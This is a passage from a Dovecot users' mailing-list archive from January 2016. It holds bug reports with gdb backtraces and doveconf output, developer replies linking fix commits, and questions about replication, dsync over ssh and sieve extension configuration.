have_wait_unfinished = true > __FUNCTION__ = "client_check_command_hangs" > #6 0x000000000041df50 in client_continue_pending_input (client=0x2363450) at imap-client.c:884 > __FUNCTION__ = "client_continue_pending_input" > #7 0x00000000004122a9 in idle_client_input (ctx=0x23642a8) at cmd-idle.c:111 > client = 0x2363450 > #8 0x00007f6f99fc3b01 in io_loop_call_io (io=0x2374600) at ioloop.c:559 > ioloop = 0x232c740 > t_id = 2 > __FUNCTION__ = "io_loop_call_io" > #9 0x00007f6f99fc606e in io_loop_handler_run_internal (ioloop=0x232c740) at ioloop-epoll.c:220 > ctx = 0x232e250 > events = 0x232f0c0 > event = 0x232f0c0 > list = 0x232fc80 > io = 0x2374600 > tv = { > tv_sec = 29, > tv_usec = 999771 > } > events_count = 5 > msecs = 30000 > ret = 1 > i = 0 > j = 0 > call = true > __FUNCTION__ = "io_loop_handler_run_internal" > #10 0x00007f6f99fc3caa in io_loop_handler_run (ioloop=0x232c740) at ioloop.c:607 > No locals. > #11 0x00007f6f99fc3bf6 in io_loop_run (ioloop=0x232c740) at ioloop.c:583 > __FUNCTION__ = "io_loop_run" > #12 0x00007f6f99f317af in master_service_run (service=0x232c5e0, callback=0x430a35 ) at master-service.c:640 > No locals. > #13 0x0000000000430da2 in main (argc=1, argv=0x232c390) at main.c:442 > set_roots = {[0] = 0x43b7a0 , [1] = 0x0} > login_set = { > auth_socket_path = 0x2324048 "\001", > postlogin_socket_path = 0x0, > postlogin_timeout_secs = 60, > callback = 0x43074f , > failure_callback = 0x4309a0 , > request_auth_token = 1 > } > service_flags = MASTER_SERVICE_FLAG_KEEP_CONFIG_OPEN > storage_service_flags = MAIL_STORAGE_SERVICE_FLAG_DISALLOW_ROOT > username = 0x0 > c = -1 doveconf -n > # 2.2.21 (5345f22): /etc/dovecot/dovecot.conf > # Pigeonhole version 0.4.10 (d61ff8a5af9e+) > # OS: Linux 4.2.2-1-ARCH x86_64 Arch Linux > auth_mechanisms = plain login > auth_username_format = %Ln > imap_id_log = * > login_log_format_elements = user=<%u> method=%m rip=%r lip=%l mpid=%e %c %k > mail_location = mdbox:~/.mdbox > mail_plugins = " zlib notify mail_log" > mailbox_list_index = yes > managesieve_notify_capability = mailto > managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date index ihave duplicate mime foreverypart > mdbox_rotate_size = 20 M > namespace inbox { > hidden = no > inbox = yes > list = yes > location = > mailbox Drafts { > auto = subscribe > special_use = \Drafts > } > mailbox Junk { > auto = subscribe > special_use = \Junk > } > mailbox Sent { > auto = subscribe > special_use = \Sent > } > mailbox Trash { > auto = subscribe > special_use = \Trash > } > prefix = > separator = . > type = private > } > passdb { > driver = pam > } > plugin { > mail_log_events = delete undelete expunge copy mailbox_delete mailbox_rename > mail_log_fields = uid box msgid size > sieve = ~/.dovecot.sieve > sieve_dir = ~/.sieve > sieve_global_dir = /etc/dovecot/sieve/global/ > sieve_global_path = /etc/dovecot/sieve/default.sieve > zlib_save = gz > zlib_save_level = 6 > } > protocols = imap pop3 sieve lmtp > service auth { > unix_listener auth-client { > group = postfix > mode = 0660 > user = postfix > } > user = root > } > service imap-login { > process_limit = 400 > process_min_avail = 5 > } > service lmtp { > drop_priv_before_exec = yes > unix_listener /var/spool/postfix/private/dovecot-lmtp { > group = postfix > mode = 0660 > user = postfix > } > } > service managesieve-login { > inet_listener sieve-obsolete { > port = 2000 > } > } > ssl_cert = ssl_cipher_list = EDH+CAMELLIA:EDH+aRSA:EECDH+aRSA+AESGCM:EECDH+aRSA+SHA384:EECDH+aRSA+SHA256:EECDH:+CAMELLIA256:+AES256:+CAMELLIA128:+AES128:+SSLv3:!aNULL:!eNULL:!LOW:!3DES:!MD5:!EXP:!PSK:!DSS:!RC4:!SEED:!ECDSA:CAMELLIA256-SHA:AES256-SHA:CAMELLIA128-SHA:AES128-SHA > ssl_key = ssl_options = no_compression > ssl_prefer_server_ciphers = yes > ssl_protocols = !SSLv2 !SSLv3 > userdb { > driver = passwd > } > protocol imap { > imap_client_workarounds = tb-extra-mailbox-sep > mail_max_userip_connections = 30 > mail_plugins = " zlib notify mail_log imap_zlib" > } > protocol lda { > mail_plugins = " zlib notify mail_log sieve" > postmaster_address = postmaster at server-speed.net > } > protocol lmtp { > mail_plugins = " zlib notify mail_log sieve" > postmaster_address = postmaster at server-speed.net > } > protocol sieve { > managesieve_logout_format = bytes ( in=%i : out=%o ) > } -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 801 bytes Desc: OpenPGP digital signature URL: From tss at iki.fi Mon Jan 4 14:49:06 2016 From: tss at iki.fi (Timo Sirainen) Date: Mon, 4 Jan 2016 09:49:06 -0500 Subject: [BUG] 2.2.21 Panic: file imap-client.c: line 841 (client_check_command_hangs): assertion failed: (!have_wait_unfinished || unfinished_count > 0) In-Reply-To: <568A83BC.1080004@xinu.at> References: <568A4967.5060205@xinu.at> <568A4F80.3050807@dovecot.fi> <568A83BC.1080004@xinu.at> Message-ID: <4B95B278-8D9F-4CCF-BBF9-B518A385146B@iki.fi> On 04 Jan 2016, at 09:37, Florian Pritz wrote: > > On 04.01.2016 11:54, Teemu Huovila wrote: >> Thank you for the report. Could you execute "bt full" in gdb please. Also the output of doveconf -n would be useful. > > Hi, > > Requested info below. What about: >> #5 0x000000000041dde6 in client_check_command_hangs (client=0x2363450) at imap-client.c:841 >> cmd = 0x0 >> unfinished_count = 0 >> have_wait_unfinished = true >> __FUNCTION__ = "client_check_command_hangs" fr 5 p *client p *client->command_queue p *client->command_queue->next p *client->command_queue->next->next Either the new code that's detecting hanging-bugs is somehow broken or it's actually preventing a hang by crashing instead, in which case the bug is elsewhere.. From tss at iki.fi Mon Jan 4 17:54:33 2016 From: tss at iki.fi (Timo Sirainen) Date: Mon, 4 Jan 2016 12:54:33 -0500 Subject: [BUG] 2.2.21 Panic: file imap-client.c: line 841 (client_check_command_hangs): assertion failed: (!have_wait_unfinished || unfinished_count > 0) In-Reply-To: <568A8893.1070504@xinu.at> References: <568A4967.5060205@xinu.at> <568A4F80.3050807@dovecot.fi> <568A83BC.1080004@xinu.at> <4B95B278-8D9F-4CCF-BBF9-B518A385146B@iki.fi> <568A8893.1070504@xinu.at> Message-ID: > On 04 Jan 2016, at 09:58, Florian Pritz wrote: > > On 04.01.2016 15:49, Timo Sirainen wrote: >> What about: >> >>>> #5 0x000000000041dde6 in client_check_command_hangs (client=0x2363450) at imap-client.c:841 >>>> cmd = 0x0 >>>> unfinished_count = 0 >>>> have_wait_unfinished = true >>>> __FUNCTION__ = "client_check_command_hangs" >> >> Either the new code that's detecting hanging-bugs is somehow broken or it's actually preventing a hang by crashing instead, in which case the bug is elsewhere.. > > Output below. > > Sending a private mail because I don't know what that session ID in the > output can be used for. The session ID is harmless. Anyway, I'm having trouble figuring out how the crash could happen or how to reproduce it. According to the backtrace it seems like the client is running IDLE and then it sends "DONE\r\nNOOP\r\n" in same IP packet. But when doing that, I don't see a crash. Although during testing I did find several other bugs. Could you try patching and seeing if you still get the same crash after them? Or have you seen the crash after the initial few times? https://github.com/dovecot/core/commit/1ddf959a750f3860feff4ab3f0e908f32740978f.diff https://github.com/dovecot/core/commit/c8e9fa2ffa2566e75f0500808b1bc9bf5d9db024.diff https://github.com/dovecot/core/commit/15307c2c91854e766bd9fb095d611a29b3f7572e.diff https://github.com/dovecot/core/commit/c7801f830c7d2e7d340065cdd5a5c795b1726223.diff From tss at iki.fi Mon Jan 4 18:21:34 2016 From: tss at iki.fi (Timo Sirainen) Date: Mon, 4 Jan 2016 13:21:34 -0500 Subject: [BUG] 2.2.21 Panic: file imap-client.c: line 841 (client_check_command_hangs): assertion failed: (!have_wait_unfinished || unfinished_count > 0) In-Reply-To: References: <568A4967.5060205@xinu.at> <568A4F80.3050807@dovecot.fi> <568A83BC.1080004@xinu.at> <4B95B278-8D9F-4CCF-BBF9-B518A385146B@iki.fi> <568A8893.1070504@xinu.at> Message-ID: <0FFBFB86-9AFB-4A40-BCE8-76C187C9F93A@iki.fi> On 04 Jan 2016, at 12:54, Timo Sirainen wrote: > >> >> On 04 Jan 2016, at 09:58, Florian Pritz wrote: >> >> On 04.01.2016 15:49, Timo Sirainen wrote: >>> What about: >>> >>>>> #5 0x000000000041dde6 in client_check_command_hangs (client=0x2363450) at imap-client.c:841 >>>>> cmd = 0x0 >>>>> unfinished_count = 0 >>>>> have_wait_unfinished = true >>>>> __FUNCTION__ = "client_check_command_hangs" >>> >>> Either the new code that's detecting hanging-bugs is somehow broken or it's actually preventing a hang by crashing instead, in which case the bug is elsewhere.. >> >> Output below. >> >> Sending a private mail because I don't know what that session ID in the >> output can be used for. > > The session ID is harmless. Anyway, I'm having trouble figuring out how the crash could happen or how to reproduce it. According to the backtrace it seems like the client is running IDLE and then it sends "DONE\r\nNOOP\r\n" in same IP packet. But when doing that, I don't see a crash. Although during testing I did find several other bugs. Could you try patching and seeing if you still get the same crash after them? Or have you seen the crash after the initial few times? > > https://github.com/dovecot/core/commit/1ddf959a750f3860feff4ab3f0e908f32740978f.diff > https://github.com/dovecot/core/commit/c8e9fa2ffa2566e75f0500808b1bc9bf5d9db024.diff > https://github.com/dovecot/core/commit/15307c2c91854e766bd9fb095d611a29b3f7572e.diff > https://github.com/dovecot/core/commit/c7801f830c7d2e7d340065cdd5a5c795b1726223.diff Actually, maybe this is enough: https://github.com/dovecot/core/commit/f136b0050b3125b466af73984177250b7ed1a3be.diff I still wasn't able to reproduce it though. From tss at iki.fi Mon Jan 4 18:53:41 2016 From: tss at iki.fi (Timo Sirainen) Date: Mon, 4 Jan 2016 13:53:41 -0500 Subject: segfault in dict_transaction_rollback() on doveadm quota recalc -u In-Reply-To: References: Message-ID: <2A898E58-84F7-4E67-9FB8-821DCEEE057B@iki.fi> On 30 Dec 2015, at 11:35, Lazy wrote: > >> dict { >> quota = redis:host=127.0.0.1:prefix=user/ >> } >> >> plugin { >> >> quota = dict:User quota::proxy::quota >> >> } >> >> Redis server is behind haproxy working in tcp mode. >> >> doveadm quota recalc -u user always couses dict process segfault (called >> from imap backend or director host), otherwise quota is working correctly. >> >> >> #0 dict_transaction_rollback (_ctx=_ctx at entry=0xea5fd0) at dict.c:194 >> 194 ctx->dict->v.transaction_rollback(ctx); This should fix it: https://github.com/dovecot/core/commit/f6d8250f99520eac003da742a5f34abd2b537c38 From tss at iki.fi Mon Jan 4 19:19:52 2016 From: tss at iki.fi (Timo Sirainen) Date: Mon, 4 Jan 2016 14:19:52 -0500 Subject: allow_nets=local in passdb gets "auth: Panic" In-Reply-To: <87a8p3dnev.wl-fumiyas@osstech.jp> References: <87a8p3dnev.wl-fumiyas@osstech.jp> Message-ID: <8972C31C-D81D-44A5-AA0F-5028E9A69B4B@iki.fi> > On 22 Dec 2015, at 01:10, SATOH Fumiyasu wrote: > > Hi, > > I have the following configuration in my dovecot.conf for Dovecot 2.2.21: > > passdb { > driver = ldap > args = /etc/dovecot/dovecot-ldap.conf.ext > default_fields = allow_nets=local,127.0.0.1,10.255.1.0/24 > } > > This triggers "auth: Panic" on POP3/IMAP logins as the below: > > Dec 22 14:57:39 localhost dovecot: auth: ldap(u0000,::1,): allow_nets: Invalid network 'local' > Dec 22 14:57:39 localhost dovecot: auth: Panic: file net.c: line 1137 (net_is_in_network): assertion failed: (IPADDR_IS_V6(ip) == IPADDR_IS_V6(net_ip)) > > `doveadm auth test ` is no problem as expected. > > What's wrong? allow_nets can only contain IP/network ranges. You can't use any names like "local". Anyway, it still shouldn't crash. This fixes it: https://github.com/dovecot/core/commit/f53a1b98d6792a3aa28474fca0901b1de035f8ba From tss at iki.fi Mon Jan 4 19:25:52 2016 From: tss at iki.fi (Timo Sirainen) Date: Mon, 4 Jan 2016 14:25:52 -0500 Subject: autoexpunge problems In-Reply-To: <5673DF69.3080706@kit.edu> References: <5673DF69.3080706@kit.edu> Message-ID: <5B05ED76-7006-477A-AF80-6C1CC4737C06@iki.fi> On 18 Dec 2015, at 05:26, Olaf Hopp wrote: > > Hello, > I tried to use the new autoexpunge for my Trash folders > I had in 15-mailboxes.conf > > mailbox Trash { > special_use = \Trash > auto = subscribe > } > > (dovecot -n of the original config is below) > and added just the line > autoexpunge = 1h > Just a short period on my test system. > But it failed. In the log I see > > Dec 18 10:54:07 irams2 dovecot: imap(ms2test): Error: Failed to autoexpunge mailbox 'Trash': Invalid mailbox name 'Trash': Missing namespace prefix 'INBOX.' Oops. This should fix it: https://github.com/dovecot/core/commit/76e5f0fe5e9e8bdee24d0e047378a665e01b808d From tss at iki.fi Mon Jan 4 19:36:22 2016 From: tss at iki.fi (Timo Sirainen) Date: Mon, 4 Jan 2016 14:36:22 -0500 Subject: 2.2.21 imap core dump after enabling autoexpunge In-Reply-To: <567B953C.7040107@iki.fi> References: <567A651D.9070609@iki.fi> <567B953C.7040107@iki.fi> Message-ID: <0041F36F-37E3-4377-A05F-C24AC954CF22@iki.fi> On 24 Dec 2015, at 01:48, Tomi Vainio wrote: > > Hi, > > Here is a proper stack trace without disabling too much information. Fixed: https://github.com/dovecot/core/commit/ddffbb277e212adb9d594b3d7d1e1d39fa78f7c6 > > Tomppa > >> program terminated by signal SEGV (no mapping at the fault address) >> Current function is o_stream_get_buffer_used_size >> 198 const struct ostream_private *_stream = stream->real_stream; >> (dbx) where >> =>[1] o_stream_get_buffer_used_size(stream = (nil)), line 198 in "ostream.c" >> [2] notify_ok(mailbox = 0xa8300, text = 0x9bed0 "Stale mailbox lock file detected, will override in 0 seconds", context = 0xbb700), line 13 in "mail-storage-callbacks.c" >> [3] index_storage_lock_notify(box = 0xa8300, notify_type = MAILBOX_LOCK_NOTIFY_MAILBOX_OVERRIDE, secs_left = 0), line 138 in "index-storage.c" >> [4] dotlock_callback(secs_left = 0, stale = 1U, context = 0xa8300), line 253 in "maildir-uidlist.c" >> [5] dotlock_create(dotlock = 0xa9f08, flags = DOTLOCK_CREATE_FLAG_NONBLOCK, write_pid = 1U, lock_path_r = 0xffbff168), line 550 in "file-dotlock.c" >> [6] file_dotlock_create_real(dotlock = 0xa9f08, flags = DOTLOCK_CREATE_FLAG_NONBLOCK), line 629 in "file-dotlock.c" >> [7] file_dotlock_create(set = 0xdada4, path = 0xa7b08 "/tmp/testuser/Maildir/.Junk/dovecot-uidlist", flags = DOTLOCK_CREATE_FLAG_NONBLOCK, dotlock_r = 0xdadc0), line 673 in "file-dotlock.c" >> [8] maildir_uidlist_lock_timeout(uidlist = 0xdad78, nonblock = 1U, refresh = 1U, refresh_when_locked = 1U), line 161 in "maildir-uidlist.c" >> [9] maildir_uidlist_sync_lock(uidlist = 0xdad78, sync_flags = , locked_r = 0xffbff347), line 1608 in "maildir-uidlist.c" >> [10] maildir_uidlist_sync_init(uidlist = 0xdad78, sync_flags = , sync_ctx_r = 0x9bd18), line 1638 in "maildir-uidlist.c" >> [11] maildir_sync_context(ctx = 0x9bd00, forced = 1U, find_uid = 0xffbff508, lost_files_r = 0xffbff4bb), line 872 in "maildir-sync.c" >> [12] maildir_sync_run(mbox = 0xa8300, flags = MAILBOX_SYNC_FLAG_FAST, force_resync = 1U, uid = 0xffbff508, lost_files_r = 0xffbff4bb), line 1023 in "maildir-sync.c" >> [13] maildir_storage_sync_force(mbox = 0xa8300, uid = 27173U), line 1046 in "maildir-sync.c" >> [14] maildir_file_do(mbox = 0xa8300, uid = 27173U, callback = 0xff1c5378 = &`libdovecot-storage.so.0.0.0`maildir-mail.c`do_stat(struct maildir_mailbox *mbox, const char *path, struct stat *st), context = 0xffbff618), line 154 in "maildir-util.c" >> [15] maildir_mail_stat(mail = 0xd6898, st_r = 0xffbff618), line 135 in "maildir-mail.c" >> [16] maildir_mail_get_save_date(_mail = 0xd6898, date_r = 0xffbff794), line 178 in "maildir-mail.c" >> [17] mail_get_save_date(mail = 0xd6898, date_r = 0xffbff794), line 153 in "mail.c" >> [18] mailbox_autoexpunge(box = 0xa8300, expire_time = 1448242276), line 43 in "mail-autoexpunge.c" >> [19] mail_namespace_autoexpunge(ns = 0xb4408), line 76 in "mail-autoexpunge.c" >> [20] mail_user_autoexpunge(user = 0xb5f98), line 91 in "mail-autoexpunge.c" >> [21] mail_user_unref(_user = 0xbb74c), line 167 in "mail-user.c" >> [22] client_default_destroy(client = 0xbb700, reason = (nil)), line 390 in "imap-client.c" >> [23] client_destroy(client = 0xbb700, reason = (nil)), line 263 in "imap-client.c" >> [24] client_input(client = 0xbb700), line 1121 in "imap-client.c" >> [25] io_loop_call_io(io = 0xb4b90), line 559 in "ioloop.c" >> [26] io_loop_handler_run_internal(ioloop = 0xa4830), line 211 in "ioloop-poll.c" >> [27] io_loop_handler_run(ioloop = 0xa4830), line 607 in "ioloop.c" >> [28] io_loop_run(ioloop = 0xa4830), line 583 in "ioloop.c" >> [29] master_service_run(service = 0xa4780, callback = 0x75e00 = &`imap`main.c`client_connected(struct master_service_connection *conn)), line 640 in "master-service.c" >> [30] main(argc = 1, argv = 0xffbffd74), line 442 in "main.c" > > > On 23.12.2015 11.10, Tomi Vainio wrote: >> Hi, >> >> I've enabled autoexpunge for Trash and Junk. Now imap process core >> dumps occasionally. >> >> Tomppa >> >>> program terminated by signal SEGV (no mapping at the fault address) >>> 0xff0dc2e0: o_stream_get_buffer_used_size : ld [%o0 >>> + 20], %o0 >>> Current function is notify_ok (optimized) >>> 13 if (o_stream_get_buffer_used_size(client->output) != 0) >>> (dbx) where >>> [1] o_stream_get_buffer_used_size(0x0, 0x83ee8, 0x83ee8, 0x5f520, >>> 0xfffe681c, 0xff13a978), at 0xff0dc2e0 >>> =>[2] notify_ok(mailbox = 0x90188, text = 0x83ee8 "Stale mailbox lock >>> file detected, will override in 0 seconds", context = 0xa3588) >>> (optimized), at 0x5f524 (line ~13) in "mail-storage-callbacks.c" >>> [3] dotlock_callback(0x0, 0x1, 0x90188, 0x567a61fe, 0xff1352a0, >>> 0x2), at 0xff1ff478 >>> [4] dotlock_create(0xcc3d8, 0x2dc6c0, 0x1, 0x0, 0x0, 0x567a61fe), at >>> 0xff0b0e68 >>> [5] file_dotlock_create_real(0xcc3d8, 0x1, 0x541c, 0x4, 0xff1352a0, >>> 0xff13a6bc), at 0xff0b1104 >>> [6] file_dotlock_create(0xbf674, 0x8f990, 0x1, 0xbf690, 0x5, >>> 0xcc3d8), at 0xff0b126c >>> [7] maildir_uidlist_lock_timeout(0xbf648, 0x1, 0x1, 0x1, 0x3f, >>> 0x26c00), at 0xff1ff0ec >>> [8] maildir_uidlist_sync_lock(0xbf648, 0x8, 0xffbff59f, 0x1, 0x1, >>> 0xf19c8), at 0xff2035bc >>> [9] maildir_uidlist_sync_init(0xbf648, 0x8, 0x83d20, 0x1, 0x44, >>> 0xff2f502c), at 0xff203680 >>> [10] maildir_sync_context(0x83d08, 0x1, 0x0, 0xffbff707, 0x83d20, >>> 0x83d08), at 0xff1fe290 >>> [11] maildir_sync_run(0x90188, 0x44, 0x0, 0x0, 0x0, 0x90420), at >>> 0xff1fe74c >>> [12] maildir_storage_sync_init(0x90188, 0x44, 0x541c, 0x0, 0x80, >>> 0xff2f502c), at 0xff1feaa0 >>> [13] mailbox_sync(0x90188, 0x44, 0x0, 0x4, 0x44, 0x90388), at >>> 0xff1b91cc >>> [14] index_mailbox_get_metadata(0x90188, 0x40, 0xffbff910, 0x0, >>> 0xff2f502c, 0x0), at 0xff273858 >>> [15] maildir_mailbox_get_metadata(0x90188, 0x40, 0xffbff910, >>> 0xfffffff8, 0x0, 0xff2f502c), at 0xff1f9e4c >>> [16] mailbox_get_metadata(0x90188, 0x40, 0xffbff910, 0x0, >>> 0xff2f502c, 0x2), at 0xff1b8ecc >>> [17] mailbox_autoexpunge(0x90188, 0x5651837e, 0xa1e28, 0xa2630, 0x0, >>> 0x0), at 0xff1a6fcc >>> [18] mail_user_autoexpunge(0x9eaf4, 0x8, 0x5651837e, 0xff2f502c, >>> 0x9c290, 0xffbff9ac), at 0xff1a72e8 >>> [19] mail_user_unref(0x9de20, 0xfffd135c, 0xff2f502c, 0x1, >>> 0xff2c6388, 0xa35d4), at 0xff1c328c >>> [20] client_default_destroy(client = 0xa3588, reason = >> unavailable>) (optimized), at 0x41c8c (line ~390) in "imap-client.c" >>> [21] io_loop_call_io(0x9ca18, 0xfffdbba8, 0x0, 0xff1352a0, 0x8c6b8, >>> 0x24400), at 0xff0c8fd4 >>> [22] io_loop_handler_run_internal(0x8c6b8, 0x1, 0x0, 0x8d1b8, 0x1, >>> 0x9ca18), at 0xff0cadd8 >>> [23] io_loop_run(0x8c6b8, 0x1, 0xc0, 0xff13b26c, 0xff1352a0, >>> 0x8d1b8), at 0xff0c90fc >>> [24] master_service_run(0x8c608, 0x60fe0, 0x1, 0x80, 0x27c00, 0x2), >>> at 0xff0236c8 >>> [25] main(argc = , argv = 0x1) (optimized), at >>> 0x619c4 (line ~442) in "main.c" >>> (dbx) >> >>> # 2.2.21 (5345f22): /usr/local/etc/dovecot/dovecot.conf >>> # OS: SunOS 5.10 sun4u >>> base_dir = /var/run/dovecot/ >>> dsync_remote_cmd = ssh -l%{login} %{host} /usr/local/bin/doveadm >>> dsync-server -u%u -U >>> first_valid_uid = 100 >>> last_valid_uid = 199 >>> mail_location = maildir:~/Maildir >>> mail_plugins = fts fts_solr >>> namespace inbox { >>> inbox = yes >>> location = >>> mailbox "Deleted Messages" { >>> special_use = \Trash >>> } >>> mailbox Drafts { >>> special_use = \Drafts >>> } >>> mailbox Junk { >>> auto = create >>> autoexpunge = 31 days >>> special_use = \Junk >>> } >>> mailbox Sent { >>> auto = subscribe >>> special_use = \Sent >>> } >>> mailbox "Sent Messages" { >>> special_use = \Sent >>> } >>> mailbox Spam { >>> special_use = \Junk >>> } >>> mailbox Trash { >>> autoexpunge = 31 days >>> special_use = \Trash >>> } >>> prefix = >>> } >>> passdb { >>> driver = pam >>> } >>> plugin { >>> fts = solr >>> fts_autoindex = yes >>> fts_solr = url=http://127.0.0.1:8983/solr/ break-imap-search >>> } >>> protocols = imap >>> service auth { >>> user = root >>> } >>> service imap-login { >>> inet_listener imap { >>> address = localhost >>> port = 143 >>> } >>> inet_listener imaps { >>> address = * >>> port = 993 >>> } >>> } >>> ssl_cert = >> ssl_cipher_list = AES128+EECDH:AES128+EDH >>> ssl_dh_parameters_length = 2048 >>> ssl_key = >> ssl_prefer_server_ciphers = yes >>> ssl_protocols = !SSLv2 !SSLv3 >>> userdb { >>> driver = passwd >>> } >> From bluewind at xinu.at Mon Jan 4 21:43:24 2016 From: bluewind at xinu.at (Florian Pritz) Date: Mon, 4 Jan 2016 22:43:24 +0100 Subject: [BUG] 2.2.21 Panic: file imap-client.c: line 841 (client_check_command_hangs): assertion failed: (!have_wait_unfinished || unfinished_count > 0) In-Reply-To: References: <568A4967.5060205@xinu.at> <568A4F80.3050807@dovecot.fi> <568A83BC.1080004@xinu.at> <4B95B278-8D9F-4CCF-BBF9-B518A385146B@iki.fi> <568A8893.1070504@xinu.at> Message-ID: <568AE77C.5040706@xinu.at> On 04.01.2016 18:54, Timo Sirainen wrote: > Could you try patching and seeing if you still get the same crash > after them? Or have you seen the crash after the initial few times? Thanks for the patches, but sadly I don't know how this happened and only saw it happening twice today in my log (within 10 minutes IIRC). Didn't see it since and not before. Sorry that I can't verify the patches. Glad you found other bugs though. Florian -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 801 bytes Desc: OpenPGP digital signature URL: From pgspm at yahoo.no Tue Jan 5 01:07:11 2016 From: pgspm at yahoo.no (Petter Gunnerud) Date: Tue, 5 Jan 2016 01:07:11 +0000 (UTC) Subject: Sv: Replication - hostname issue In-Reply-To: <568A48E7.5050105@dovecot.fi> References: <568A48E7.5050105@dovecot.fi> Message-ID: <133243978.57823.1451956031240.JavaMail.yahoo@mail.yahoo.com> ThanksTeemuBy setting environment variable DOVECOT_HOSTDOMAIN the?dovecot --hostdomainnow returns the hostname. getent hostsReturns all entries in the hosts file - including "localhost" and the servers hostname.mydomain So far the change has not made any problems. Dsync, however does not seem to be doing anything.Is there a log option available that could tell something about whats failing? The only log entries I find is these two when starting dovecot service:masterserver:Jan? 5 01:41:04 localhost dovecot: imap: Debug: Module loaded: /usr/lib64/dovecot/lib20_replication_plugin.so standby server:Jan? 5 01:40:34 gen-omas-stb dovecot: auth: Debug: master in: LIST????? 1????? service=replicator PG Fra: Teemu Huovila Til: dovecot at dovecot.org Sendt: Mandag, 4. januar 2016 11.26 Emne: Re: Replication - hostname issue On 03.01.2016 20:53, Petter Gunnerud wrote: > I have postfix/dovecot setup on a virtual gentoo server. It's been in service for almost two years without any issues. > Now I want to set up a spare server to replicate mails from the one running. I copied the vm files to the second host server, changed the ip, hostname and hosts file for the copy and followed the dovecot replication doc. > The last point in the doc tells to rundovecot --hostdomainto make sure the hostnames differ... To my surprise the command returned "localhost" on both servers. > How do I set the hostname for dovecot service?(The hostname command returns the servers hostnames.) You can define what hostname dovecot uses, by setting the environment variable DOVECOT_HOSTDOMAIN. It would also be interesting to see what "getent hosts" returns on your servers. Using the "hostname" command is not quite the same thing. > Will a change in dovecot hostname make all clients redownload all their mail? I can not speak for any/all clients, but I do not see how a change in the imap server name would make clients redownload email. > A second question. When configuring dovecot replication. Should the settings be done on the master server or the stand by server, or both? (Doc doesn't say anything regarding this) > PG This depends on how you want the syncding to be done. If it is two way master-master, then you need to configure it on both. I think this might probably be what you want anyway. br, Teemu Huovila From pgspm at yahoo.no Tue Jan 5 13:21:43 2016 From: pgspm at yahoo.no (Petter Gunnerud) Date: Tue, 5 Jan 2016 13:21:43 +0000 (UTC) Subject: Replication - user permissions References: <916572111.448590.1452000103300.JavaMail.yahoo.ref@mail.yahoo.com> Message-ID: <916572111.448590.1452000103300.JavaMail.yahoo@mail.yahoo.com> When setting up dsync for replication, what should the user permissions be for sync over ssh? I'm running virtual users only. Postfix and Dovecot services run as mail:mail. All the maildir folders are owned by mail:mail and permissions are 700. User mail is not allowed login. So whats the best practice in respect to security to allow for dsync over ssh? So of the options I consider: 1) change postfix/dovecot settings so that maildirs are created with 770 permissions, then create a user dsync:mail that is allowed for ssh login. 2) permit user mail to login using ssh 3)go with tcp sync rather than ssh Other suggestions? PG From sca at andreasschulze.de Tue Jan 5 14:31:14 2016 From: sca at andreasschulze.de (A. Schulze) Date: Tue, 05 Jan 2016 15:31:14 +0100 Subject: doveconf syntax question Message-ID: <20160105153114.Horde.WeWCqoleQ9cfIvmYzPLO1aJ@andreasschulze.de> Hello, I have one sieve extension enabled: /etc/dovecot/conf.d/20-sieve.conf: plugin { sieve_extensions = +vacation-seconds } now (months later) we want to enable an other extension. no big deal: /etc/dovecot/local.conf: plugin { sieve_extensions = +editheaders ... } This was wrong. We ASSUMED the plus would add the extension to the list. But at the end only +editheaders was activ. What's the right way to /add/ sieve_extensions from different config files? our guess "sieve_extensions = $sieve_extensions +editheaders" do not work: doveconf -a | grep sieve_extensions doveconf: Fatal: Error in configuration file /etc/dovecot/local.conf line 22: Unknown variable: $sieve_extensions doveconf: Error: managesieve-login: dump-capability process returned 89 doveconf: Fatal: Error in configuration file /etc/dovecot/local.conf line 22: Unknown variable: $sieve_extensions Andreas From fumiyas at osstech.jp Tue Jan 5 15:31:11 2016 From: fumiyas at osstech.jp (SATOH Fumiyasu) Date: Wed, 06 Jan 2016 00:31:11 +0900 Subject: allow_nets=local in passdb gets "auth: Panic" In-Reply-To: <8972C31C-D81D-44A5-AA0F-5028E9A69B4B@iki.fi> References: <87a8p3dnev.wl-fumiyas@osstech.jp> <8972C31C-D81D-44A5-AA0F-5028E9A69B4B@iki.fi> Message-ID: <87twmsvy9s.wl-fumiyas@osstech.jp> At Mon, 4 Jan 2016 14:19:52 -0500, Timo Sirainen wrote: > > passdb { > > driver = ldap > > args = /etc/dovecot/dovecot-ldap.conf.ext > > default_fields = allow_nets=local,127.0.0.1,10.255.1.0/24 > > } > > > > This triggers "auth: Panic" on POP3/IMAP logins as the below: > > > > Dec 22 14:57:39 localhost dovecot: auth: ldap(u0000,::1,): allow_nets: Invalid network 'local' > > Dec 22 14:57:39 localhost dovecot: auth: Panic: file net.c: line 1137 (net_is_in_network): assertion failed: (IPADDR_IS_V6(ip) == IPADDR_IS_V6(net_ip)) > > > > `doveadm auth test ` is no problem as expected. > > > > What's wrong? > > allow_nets can only contain IP/network ranges. You can't use any names like "local". Anyway, it still shouldn't crash. This fixes it: Dovecot 2.2.15 has the following change: + passdb allow_nets=local matches lookups that don't contain an IP address (internally done by Dovecot services) I use the "allow_nets=local" to allow administrtors to run `doveadm auth test username`. If allow_nets has no "local", it is failed (rejected?). Is this a bug? # doveadm auth test foobar Password: correct-password passdb: foobar auth failed extra fields: user=foobar > https://github.com/dovecot/core/commit/f53a1b98d6792a3aa28474fca0901b1de035f8ba Thank you! -- -- Name: SATOH Fumiyasu @ OSS Technology Corp. (fumiyas @ osstech co jp) -- Business Home: http://www.OSSTech.co.jp/ -- GitHub Home: https://GitHub.com/fumiyas/ -- PGP Fingerprint: BBE1 A1C9 525A 292E 6729 CDEC ADC2 9DCA 5E1C CBCA From tss at iki.fi Tue Jan 5 16:11:28 2016 From: tss at iki.fi (Timo Sirainen) Date: Tue, 5 Jan 2016 11:11:28 -0500 Subject: allow_nets=local in passdb gets "auth: Panic" In-Reply-To: <87twmsvy9s.wl-fumiyas@osstech.jp> References: <87a8p3dnev.wl-fumiyas@osstech.jp> <8972C31C-D81D-44A5-AA0F-5028E9A69B4B@iki.fi> <87twmsvy9s.wl-fumiyas@osstech.jp> Message-ID: <150C87E6-3081-4529-A281-F1305DD4583D@iki.fi> On 05 Jan 